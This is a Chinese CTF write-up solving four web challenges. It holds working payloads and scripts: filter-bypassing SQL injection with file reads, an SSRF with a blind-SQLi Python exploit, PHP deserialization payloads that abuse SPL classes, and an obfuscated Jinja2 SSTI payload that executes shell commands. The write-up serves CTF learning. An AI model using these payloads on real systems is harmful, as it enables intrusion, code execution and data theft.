0%

MAR DASCTF明御攻防赛

MAR DASCTF明御攻防赛

赛后复现

Web

BestDB

打开页面,是一个输入框,输入一个id返回用户的一些信息

img

经简单测试,单引号空格之类的字符被过滤,使用双引号与”/**/“即可

测试查询语句字段数为3:

img

简单测试查询数据库:

1
-1"/**/union/**/select/**/1,database(),3#

img

得到users数据库,接着测试数据表:

1
-1"/**/union/**/select/**/1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema="users")),3#

img

得到两个表:f1agdas、users

最终在f1agdas中得到了提示:

1
-1"/**/union/**/select/**/1,(select(f1agdas)from(f1agdas)),3#

img

flag可能在flag.txt里面,尝试读取根目录里的flag.txt,使用load_file读文件:

1
-1"/**/union/**/select/**/1,(select(substr(load_file(0x2f666c61672e747874),1,40))),3#

注意这里/flag.txt要进行hex编码,因为flag也被过滤了。

img

ez_login

题目给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if(!isset($_SESSION)){
highlight_file(__FILE__);
die("no session");
}
include("./php/check_ip.php");
error_reporting(0);
$url = $_GET['url'];
if(check_inner_ip($url)){
if($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
curl_close($ch);
}
}else{
echo "Your IP is internal yoyoyo";
}

?>

经目录探测发现存在admin.php,但需要localhost才能访问,XFF伪造不能达到效果,需利用SSRF,分析代码:

代码开头部分限制了必须设置session,否则就退出程序不再往下执行。这里我们使用 PHP_SESSION_UPLOAD_PROGRESS上传session即可。

session.upload_progress是php>=5.4添加的。最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在session中(包含用户可控的值),即使此时用户没有初始化session,PHP也会自动初始化session。 而且,默认情况下session.upload_progress.enabled是为开启的

1
2
3
4
5
6
7
8
9
10
11
12
# -*- coding: utf-8 -*-
import requests

url = 'http://183.129.189.60:10015/?url=http://localhost/admin.php'
mydata = {'PHP_SESSION_UPLOAD_PROGRESS':'A1'}
myfile = {'file':('A1.txt','A1')}
mycookie = {'PHPSESSID':'jtq4q3fdfgnckcrd52a6nhf90a'}

r = requests.post(url=url, data=mydata, files=myfile, cookies=mycookie)
print(r.request.body.decode('utf8'))

print(r.text)

img

下载这个文件,里面是se1f_log3n.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include("./php/db.php");
include("./php/check_ip.php");
error_reporting(E_ALL);
$ip = $_SERVER["REMOTE_ADDR"];
if($ip !== "127.0.0.1"){
exit();
}else{
try{
$sql = 'SELECT `username`,`password` FROM `user` WHERE `username`= "'.$username.'" and `password`="'.$password.'";';
$result = $con->query($sql);
echo $sql;
}catch(Exception $e){
echo $e->getMessage();
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND die("error")) OR ( ($con->close() AND die('Try again!') ));
} // 没有输出查询结果

存在sql盲注,且题目得名子是ez_login,那我们可以猜测本题旨在是让我们通过sql注入得到admin的密码。

bool盲注:

1
2
3
4
5
6
7
8
9
10
11
12
13
payload = 'http://localhost//se1f_Log3n.php?username=A1\'or ascii(mid((select user()),{},1))={}%23password=A1'.format(l,ord(s))
user(): root@localhost

payload = 'http://localhost//se1f_Log3n.php?username=A1\'or ascii(mid((select group_concat(schema_name) from information_schema.schemata),{},1))={}%23password=A1'.format(l,ord(s))
databases: ctf,information_schema,mysql,performance_schema,test

payload = 'http://localhost//se1f_Log3n.php?username=A1\'or ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={}%23password=A1'.format(l,ord(s))
Table_in_ctf: secret,users

payload = 'http://localhost//se1f_Log3n.php?username=A1\'or ascii(mid((select group_concat(column_name) from information_schema.columns where table_name=\'secret\'),{},1))={}%23password=A1'.format(l,ord(s))
Column_in_secret: flag

payload = 'http://localhost//se1f_Log3n.php?username=A1\'or ascii(mid((select flag from ctf.secret),{},1))={}%23password=A1'.format(l,ord(s))

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*-
from urllib.parse import quote
import requests
import time

asc_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
mydata = {'PHP_SESSION_UPLOAD_PROGRESS':'A1'}
myfile = {'file':('A1.txt','A1')}
mycookie = {'PHPSESSID':'a09fhn6a25drckcngfdf3q4qtj'}
ip = 'http://183.129.189.60:10015/?url='

flag = ''
for l in range(1,50):
for s in asc_str:
payload = 'http://localhost//se1f_Log3n.php?username=A1\'or ascii(mid((select flag from ctf.secret),{},1))={}%23password=A1'.format(l,ord(s))
url = ip + quote(payload)
r = requests.post(url=url, data=mydata, files=myfile, cookies=mycookie)
time.sleep(0.2)
if 'correct?' in r.text:
flag += s
print(flag)
else:
pass

img

ez_serialize

题目给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "B";
$this->para = "ctfer";
echo new $this->class ($this->para);
}
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('bad hacker~');
}

}
class B{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("hello ".$this->a);
}
}
class C{

function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}

}

if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
else{
$a=new A;

} hello ctfer

class A中construct()方法给变量设置了初始值,然后拼接了动态类(类名和参数都可控)并且实例化后输出结果。wakeup()方法实例化了class C,然后验证了$this->para和$this->class之后进行了拼接动态类、实例化、并且输出。class B没什么用,__construct()会输出$this->a。class C类用于过滤一些指定字符,不过这里过滤没什么用。

利用PHP标准库 (SPL): https://www.php.net/manual/zh/book.spl.php

首先利用DirectoryIteratorFilesystemIterator类去遍历目标的Web目录:

1
2
3
4
5
6
7
8
9
10
<?php
class A{
public $class='FilesystemIterator';
// FilesystemIterator("/var/www/html")
public $para="/var/www/html/";
public $check;
}

$poc = new A();
echo serialize($poc);

得到payload:

1
O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:14:"/var/www/html/";s:5:"check";N;}

执行后得到一个文件夹 1aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE:

img

继续浏览这个目录

1
?pop=O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:47:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE";s:5:"check";N;}

img

然后我们使用 SplFileObject 类读取flag.php就行了:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class A{
public $class;
public $para;
public function __construct(){
$this->class = "SplFileObject";
$this->para = "/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
}
}
$poc = new A();
echo serialize($poc);
?>

得到payload:

1
O:1:"A":2:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:56:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";}

img

baby_flask

Jinja2 模板的 SSTI

进入题目,是一个输出框。输入你的名字,然后随机返回给你一个幸运数字:

img

猜测/getname?name= 处应该存在SSTI。查看源码,发现blacklist

1
2
3
4
5
6
7
8
9
10
11
12
13
<!--
Hi young boy!</br>
Do you like ssti?</br>

blacklist</br>
'.','[','\'','"',''\\','+',':','_',</br>
'chr','pop','class','base','mro','init','globals','get',</br>
'eval','exec','os','popen','open','read',</br>
'select','url_for','get_flashed_messages','config','request',</br>
'count','length','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9'</br>
</br>

-->

过滤的比较多,但还是可以绕过的

Payload构造过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# 首先构造出所需的数字: 
{% set zero = (self|int) %} # 0, 也可以使用lenght过滤器获取数字
{% set one = (zero**zero)|int %} # 1
{% set two = (zero-one-one)|abs %} # 2
{% set four = (two*two)|int %} # 4
{% set five = (two*two*two)-one-one-one %} # 5
{% set three = five-one-one %} # 3
{% set nine = (two*two*two*two-five-one-one) %} # 9
{% set seven = (zero-one-one-five)|abs %} # 7

# 构造出所需的各种字符与字符串:
{% set space = self|string|min %} # 空格
{% set point = self|float|string|min %} # .

{% set c = dict(c=aa)|reverse|first %} # 字符 c
{% set bfh = self|string|urlencode|first %} # 百分号 %
{% set bfhc = bfh~c %} # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set slas = bfhc%((four~seven)|int) %} # 使用%c构造斜杠 /
{% set yin = bfhc%((three~nine)|int) %} # 使用%c构造引号 '
{% set xhx = bfhc%((nine~five)|int) %} # 使用%c构造下划线 _
{% set right = bfhc%((four~one)|int) %} # 使用%c构造右括号 )
{% set left = bfhc%((four~zero)|int) %} # 使用%c构造左括号 (

{% set but = dict(buil=aa,tins=dd)|join %} # builtins
{% set imp = dict(imp=aa,ort=dd)|join %} # import
{% set pon = dict(po=aa,pen=dd)|join %} # popen
{% set so = dict(o=aa,s=dd)|join %} # os
{% set ca = dict(ca=aa,t=dd)|join %} # cat
{% set flg = dict(fl=aa,ag=dd)|join %} # flag
{% set ev = dict(ev=aa,al=dd)|join %} # eval
{% set red = dict(re=aa,ad=dd)|join %} # read
{% set bul = xhx~xhx~but~xhx~xhx %} # __builtins__

{% set ini = dict(ini=aa,t=bb)|join %} # init
{% set glo = dict(glo=aa,bals=bb)|join %} # globals
{% set itm = dict(ite=aa,ms=bb)|join %} # items

# 将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read():
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}

# 然后将上面构造的各种变量添加到SSTI万能payload里面就行了:
{% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %} # globals
{% if f == bul %}
{% for a,b in (v|attr(itm))() %} # builtins
{% if a == ev %} # eval
{{b(pld)}} # eval("__import__('os').popen('cat /flag').read()")
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

# 最后的payload如下:
{% set zero = (self|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set three = five-one-one %}{% set nine = (two*two*two*two-five-one-one) %}{% set seven = (zero-one-one-five)|abs %}{% set space = self|string|min %}{% set point = self|float|string|min %}{% set c = dict(c=aa)|reverse|first %}{% set bfh = self|string|urlencode|first %}{% set bfhc = bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set yin = bfhc%((three~nine)|int) %}{% set xhx = bfhc%((nine~five)|int) %}{% set right = bfhc%((four~one)|int) %}{% set left = bfhc%((four~zero)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set so = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx~xhx~but~xhx~xhx %}{% set ini = dict(ini=aa,t=bb)|join %}{% set glo = dict(glo=aa,bals=bb)|join %}{% set itm = dict(ite=aa,ms=bb)|join %}{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %}{% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}
----------------本文结束感谢阅读----------------